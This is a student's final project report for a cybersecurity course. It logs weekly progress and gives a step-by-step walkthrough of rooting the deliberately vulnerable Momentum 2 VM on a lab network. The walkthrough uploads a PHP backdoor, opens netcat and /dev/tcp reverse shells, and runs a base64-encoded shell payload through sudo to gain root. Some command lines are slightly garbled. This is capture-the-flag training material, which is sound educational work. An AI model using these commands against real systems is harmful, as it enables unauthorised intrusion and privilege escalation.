WOZ Cyber-Security Final Project

By

William R. Carter Jr.

The Phoenix

Contents

[Overview: 3](#_Toc88217688)

[Virtual Machine and network setup and configuration: 3](#_Toc88217689)

[Computer Setups: 4](#_Toc88217690)

[Progress Report: 5](#_Toc88217691)

[Week 1. 5](#_Toc88217692)

[ Week 2 6](#_Toc88217693)

[Week 3 7](#_Toc88217694)

[Virtual Machine Resources: 8](#_Toc88217695)

[Walkthrough: 9](#_Toc88217696)

[Resources: 12](#_Toc88217697)

[Student contacts: 12](#_Toc88217698)

[Mentor Resources: 12](#_Toc88217699)

[VM Resources: 12](#_Toc88217700)

# 

# Overview:

I have chosen the Fawkes Virtual Machine(VM) from the Harry Potter Series.  There are a total of 8 Horcrux’s to find in this VM.  It requires all of the Harry Potter VM’s three in total.  The VM’s are Aragog, Nagini, and Fawkes.  According to the walk-through, we have identified at Nepcodex it is possible to just run through the Fawkes VM.  Here is the link that we are using to base our project on.

We are still reviewing this at this time.

Virtualization & Network setup:

We have downloaded the following VM’s from VulHub:

* Aragog
* Nagina
* Fawkes

## Virtual Machine and network setup and configuration:

We have installed Oracles VirtualBox on our Macs and PCs.  We have downloaded all 3 VM’s and imported those VM our individual workstations.  We also have created snap-shots of each machine and will be running commands on and if a step fails we can roll back to the previous version of that VM.  I expect there to be 10 or more snapshots of each VM before we are finished.

All VM’s have been set up to run on our NAT network that we set up for school.  We have not made any changes to the VM’s other than importing them.  Normally I would change the configuration to use a few options, but I am concerned that modifying the VM’s could cause some issues. So I have decided to leave all settings alone at this time.

The NAT network IP addresses that have been used 10.0.2.x/24.  This was defined when the Nat network was set up.  This match’s up with all the walkthroughs that we researched.

William has also been in touch with the author of these VM’s.  I have reported the issue with Doddy to him.  He is investigating it at this time.  I hope to hear what caused this issue with VM.  It looks like auto-update is enabled and the last update of it broke the last few steps.

We had to change VM’s due a issue with the first one.  This was due issues with the first VM selected.  The only change that we had to make was to match the static IP of the host machine.

The new machine is called Momentum 2.

The new machine has been solved and both flags have been retrieved.

# Computer Setups:

William Carter

Dell 7000 series Laptop

iMac 2009

Both run the current version on Oracle VirtualBox and have all three VM’s imported.  We can quickly replicate a command should we run into an issue.  This is William’s setup: both machines run his internal network.  Currently, both run on the Wi-Fi network.  This is due to an issue with the internal network adapter on the iMac.

Project Presentation Plan:

# Progress Report:

I have shifted from team project to a individual project. I am working on finalizing everything to finish up the walkthrough part of this document.

## Week 1.

William

* **Monday**
  + Verified that all virtual machines are up and running and getting the correct IP addresses.
  + Spoke with Elisia.  We had issues with communication.  She kept having communication or a low internet or unstable internet.
  + Worked on a group project document.

* **Tuesday**
  + Sent document to Elisia & Shaun for the first review.
  + Setup OBS for recording and presentation and doing a test walkthrough &
  + Taking a sample test for test prep
  + Spoke with Shaun concerning VM communication and network connectivity issues and project issues.
  + Software packages that had to be installed on the Kali VM to complete running certain
  + processes:
    - Gbd
    - Gdb-minimum
    - Metaploit-Framework
  + 2000 ch process
    - Reboot Kali
    - Login with Kali id
    - Open 2 terminal windows
    - In one of the terminal windows open a second window
    - In terminal 1 execute the follow commands: echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space
    - In terminal 1 execute ./server\_hogwarts
    - In terminal 2 execute the following command: gdb -q server Hogwarts
    - In the second terminal you will need to run the following netcat command: nc 127.0.0.1 9898
    - Then you will follow the procedure listed in the walkthrough

* **Wednesday**
* Installed the edb-debugger on the kali VM - sudo apt install edb-debugger
* Worked through lots of complex issues with VM
* Debugger issues
* **Thursday**
  + Working real small programming issues at this point most of today.  We found 3 different programming issues.  It has taken me all day to get to this point.
  + Shaun got me connected with multiple grads in our program and we reviewed what I was doing and found that in Wireshark that the Fawkes machine was returning the right data but not displaying it.
* **Friday**
  + Reviewed all data and took take care of multiple small issues.
  + Setup and configured multiple additional Kali machines and prepared them for additional testing.
  + Looked at all data that I had and planned out my next move.
  + Assisted with Labs while Shaun took care of additional meetings with students
* Luna and Shaun advised me that this could be a very similar issue to what she and her partner had going on.
* **Saturday**
  + Assisted with Labs while Shaun took care of additional meetings with students
  + Reviewed everything and have everything ready to send to the author of the VM’s to see if he is aware of any know issues.
  + On Sunday the plan is to use parrot VM to go through the entire last section.  I will copy all required file(s) or commands to my parrot machine and start the last section over.  This should all me to test to see if there is an issue with the current VM.
* **Sunday**
  + Tested with Parrot O/S and it had the exact same issue as the 2 different Kali machines
  + Worked on homework
  + Contacted individual via Twitter who wrote the Harry Potter VM’s.

Week 2

* **Monday**
  + Finishing up homework and looking for a different VM to present, after the conversation with Shaun over the weekend.
  + Working on Momentum 2 a new VM if we can’t get Fawkes to work correctly. I spoke with Bill and he said that a medium-level machine would be just fine.
  + Worked with Bill for just a minute and changed the format of the gobuster account.  This along with the misspelling of valid.  It should have been ‘val1d’.  This resulted in the burp suite attack worked.
* **Tuesday**
  + Backed up the burp suite attack file.  This will allow us to reproduce the result.
  + Watch a video from YouTube on Momentum 2. It has left me more confused
  + Worked with Bill and I got the reverse shell running. It was a ‘&’ & a 1 instead of a i that was causing it not to work.
  + Update Elisa with the change of virtual machine
  + Contacted Becky and Dereck for some insight on the reverse shell and how it works.
* **Wednesday**
  + Watched additional on the new VM and started making additional headway on the next steps.  Running dirb on the new VM to see if we can enumerate the directories
  + Worked with Bill and spent most of the day working on flag 2 and the second reverse shell.
* **Thursday**
  + Worked with Bill and spent most of the day working on flag 2 and the second reverse shell.
  + Bill and I produced a video that showed how and where to enter data and the shortcuts.
* **Friday**
  + worked on the project and ran into the same problem the again
* **Saturday**
  + Mental Health Day
* **Sunday**
  + Elisia had requested a meeting on Sunday had meeting set up and running from 8:00 to 11:00 and sent connection information to her.
  + Worked on paperwork and assignments that had to be turned in and helped several other students.

## Week 3

* **Monday**
  + Worked 8 plus hours so far on documentation and testing
  + Ran into the same issues after completing 90 % of the documentation
  + At the point of entering the command from 2 different hashes to get the password. It’s a complex problem and a single comma or anything could cause an issue.
* **Tuesday**
  + Reviewed notes and looked at different based on what I had been done.  Still no closer to a solution.
* **Wednesday**
  + Reviewed a few more things and talked with multiple different people on different things today.
  + Completed my walk-through.  Working on the final presentation.  Hope to have it to Shaun and Bill by Sunday
  + Discovered that coping text from a webpage or MS Word copied hidden font/characters that caused several commands to fail.
* **Thursday**
  + Received contact from Elisia at 2:00 AM last night, about a meeting for today
  + Do my project as an individual.
* **Friday**
  + Completed all documentation and prepping for recording later tonight.
  + I will let Shaun and Bill know today

## Virtual Machine Resources:

Virtual Machines from [www.vulhub.com](http://www.vulhub.com)

<https://www.vulnhub.com/entry/harrypotter-fawkes,686/>

All three of these machines can be found at the weblink above/

Aragog

    Nigina

Fawkes

Replacement Project VM

    Momentum 2

<https://www.vulnhub.com/entry/momentum-2,702/>

    Walkthrough

    Youtube - <https://www.youtube.com/watch?v=RceVwJ0uALQ&t=788s>

**Additional Software packages for Kali:**

    Gbd - sudo apt install gdb

Gdb-minimum - sudo apt install gdb-minimum

Metaploit-Framework - <https://computingforgeeks.com/install-and-run-metasploit-framework-on-kali-linux/>

* Edb-debugger - sudo apt install edb-debugge
* Rlwarp - sudo apt install rlwrap

# Walkthrough:

CAUTION TYPE ALL COMMANDS OUT DO NOT COPY THEM. THERE IS A STRONG CHANCE YOU WILL COPY HIDDEN TEXT AND YOUR COMMAND WILL FAIL TO EXECUTE CORRECTLY

I did have to install some additional packages during the walk through and answered ‘y’ to install those. Because I ran the whole process as root, I only had to answer ‘y’ to install the package and continue with the process.

1. Open a single ‘terminal window’
2. Type ‘ip a’ make sure to document you IP address and press enter (your IP will be needed)
3. If your IP address is not 10.0.2.15 please give you virtual kali machine that a static IP address( Please see how to set a static IP in Kali in the Resource Section)
4. Close the terminal before getting ready to setup the main sessions. You will need.
5. Next you will need to setup 4 different terminal sessions.
   1. The lower left terminal window will be known as T1
   2. The upper left terminal window will be known as T2
   3. The upper right terminal window will be known as T3
   4. The lower right terminal window will be known as T4
6. In T2 terminal type netdiscover –r 10.0.2.0/24 and press enter
7. In T2 terminal type nmap -v -sT -O 10.0.2.251/24 and press enter
   1. Make sure to write down the open ports
   2. There are 2 different ports that should be detected
      1. Apache 24.38 port 80
      2. SSH port 22
8. In T2 terminal type gobuster dir -w /usr/share/wordlists/dirbuster//directory-list-lowercase-2.3-medium.txt -x html txt php php.bak and press enter
   1. Make sure to the review the directories to see which one is writable. Look for a 301. The 301 status code tells you that you can uploaded files.
   2. Lets review some of the other data that was detected while using gobuster.
   3. Open <http://10.0.2.251/dashboard.html>
   4. It shows that we can upload a file. But after trying, we have identified that you can only upload a txt file.
9. Look for a file called ajax.php.bak and use the command wget to retrieve it.
10. In T2 terminal type wget <http://10.0.2.251/ajax.php.bak> and press enter
11. In T2 terminal type cat ajax.php.bak
    1. Document the admin id = admin
    2. Document the identified cookie = 6G6u@B6uDXMq&Ms
12. There 3 scripts that required 1 is a txt file, one is php file and 1 is python.
    1. You can download them from my GitHub account (https://github.com/wcarterjr68/Momentum-2)
    2. You will need to download them on your Kali machine
       1. abcs.txt – (A’ – Z’) to be used by the script.py
       2. shell.php.txt – it is a backdoor trojan. It will need to renamed once it is downloaded.
       3. Script.py – uses the abcs.txt to upload the shell.php file.
13. In T1 terminal type python3 script.py and press enter to upload the shell.php
14. By uploading the shell.php it should have started the backdoor as well as connected the
15. In T1 terminal at the ‘[!] Command to Execute:’ type id and press enter, and you should receive the following response:

'uid=33(www-data) gid=33(www-data) groups=33(www-data)\nuid=33(www-data) gid=33(www-data) groups=33(www-data)'

1. In the T1 terminal type ls and press enter, and you will receive the following information: ‘shell.php\nshell.php’
2. In the T1 terminal type ‘pwd’ and press enter, amd you will receive the following information: '/var/www/html/owls\n/war/www/html/owls’
3. In the T1 terminal type nc 10.0.2.8 -e /bin/bash and press enter
4. In T2 terminal type rlwrap nc -lnvp 9001 and press enter
5. In T2 terminal type python3 -c ‘import pty;pty;spawn(“/bin/bash”)’

This command will create a more secure shell. You should now be presented with a Linux command prompt

1. In T2 terminal type export TERM=xterm and press enter. This gives you true Linux like terminal (depending on version of bash you may get at second of line of text)
2. In T2 terminal type cd .. and press enter
3. In T2 terminal type ls -la and press enter
4. In T2 terminal type cd /home and press enter
5. In T2 terminal type ls and press enter
6. In T2 terminal type cd athena and press enter
7. In T2 terminal type ls and press enter
8. In T2 terminal type cat password-reminder.txt and press enter

Document the username athena and password and reminder: myvulnerableapp[asterick]

1. In T2 terminal type cat user.txt and press enter

Text

Description automatically generated with medium confidence

1. In the T3 terminal open a ssh terminal to the Momentum 2 with this command:

ssh athena@10.0.2.251

1. In T3 terminal type yes and press enter
2. In T3 terminal enter the password that you identified in step 28 and press enter
3. In the T3 terminal enter sudo -l and press enter
4. In T1 terminal press the CTRL + C keyboard combo to end the current terminal session
5. In T1 terminal type rlwrap nc -lnvp 4444 and press enter
6. In T2 terminal press the CTRL + C keyboard combo to end the current terminal session
7. In T2 terminal type echo “bash -I >& /dev/tcp/10.0.2.15/4444 0>&1” | base64
8. In T2 terminal preserve the output of the command of the command run in step 37
9. In T3 terminal type sudo -u root /usr/bin/python3 /home/team-task/cookie-gen.py and press enter

\*\*\*\*\*\* CAUTION TYPE ALL COMMANDS OUT DO NOT COPY THEM. THERE IS A STRONG CHANCE YOU WILL COPY HIDDEN TEXT AND YOUR COMMAND WILL FAIL TO EXECUTE CORRECTLY \*\*\*\*\*\*

1. In T3 Terminal type YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNDQ0NCAwPiYxCg== | base64 -d | bash and press enter
2. In T1 Terminal your connection should now be established as root



1. In T1 Terminal type cd / and press enter
2. In T1 Terminal type ls -la and press enter
3. In T1 Terminal type cd /root and press enter
4. In T1 Terminal type ls and press enter
5. In T1 Terminal type cat root.txt
6. You have completed this activity by finding the second flag. And it should look like this

Text

Description automatically generated with medium confidence

# Resources:

William Carter

Rocky Mount, NC 27804

## Student contacts:

Dominic Polizza

Ed Appling

Luna Winchester

Mike Ford

## Mentor Resources:

Bill Bowman

Shaun Manzano

## VM Resources:

Momentum 2

<https://www.vulnhub.com/entry/momentum-2,702/>

Walkthrough

Youtube - <https://www.youtube.com/watch?v=RceVwJ0uALQ&t=788s>

Now to set a static Ip in Kali Linux using the GUI and ifconfig

<https://www.wikigain.com/set-up-a-static-ip-in-kali-linux/#:~:text=To%20set%20up%20a%20static%20IP%20in%20Kali,Hide%20Wireless%20Access%20Point%20Name%20from%20Being%20Seen>